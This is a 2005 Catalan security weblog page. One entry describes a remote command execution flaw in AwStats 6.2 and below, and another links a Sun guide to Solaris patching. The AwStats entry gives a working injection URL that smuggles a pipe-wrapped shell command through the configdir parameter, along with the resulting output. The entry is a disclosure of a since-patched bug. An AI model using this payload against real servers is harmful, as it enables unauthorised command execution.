|
 |
dilluns, 7 / febrer / 2005 |
Hi ha un exploit que s'aprofita d'una vulnerabilitat del programa d'estadístiques del tràfic web awstats.pl.
This exploit makes use of the remote command execution bug discovered in AwStats ver 6.2 and below. The bug resides in the awstats.pl perl script. The script does not sanitise correctly the user input for the `configdir` parameter. If the users sends a command prefixed and postfixed with | , the command will be executed. An example would be:
Let's execute '/usr/bin/w':
http://localhost/cgi-bin/awstats.pl? configdir=%20|%20/usr/bin/w%20|%20
Awstat output:
Error: LogFile parameter is not defined in config/ domain file Setup (' | /usr/bin/w | /awstats.localhost.conf' file, web server or permissions) may be wrong. Check config file, permissions and AWStats documentation (in 'docs' directory).
That's it. Our command was executed.
This bug is fixed in AwStats ver 6.3 and a patch was released for all versions, but vulnerable AwStat is still available for download on several sites.
|
01:11 (# Enllaç permanent) | Comentaris: | Trackback:
|
|
[Sun Blueprint] Solaris Patch Management: Recommended Strategy. Document de Sun on s'expliquen els diversos tipus de pegats i actualitzacions disponibles per a Solaris, la relacions entre ells, els diversos mètodes de distribució i les pràctiques recomanades per mantenir convenientment actualitzats els sistemes tenint presents les consideracions de risc, cost i temps necessari.
|
00:35 (# Enllaç permanent) | Comentaris: | Trackback:
|
|
© Copyright 2003-2005 Xavier Caballe. . Si no s'indica expressament el contrari, el material publicat en aquest weblog es distribueix d'acord amb la llicència Creative Commons. El contingut és responsabilitat única i exclusivament del seu autor i no té cap relació amb les seves activitats professionals.
|
|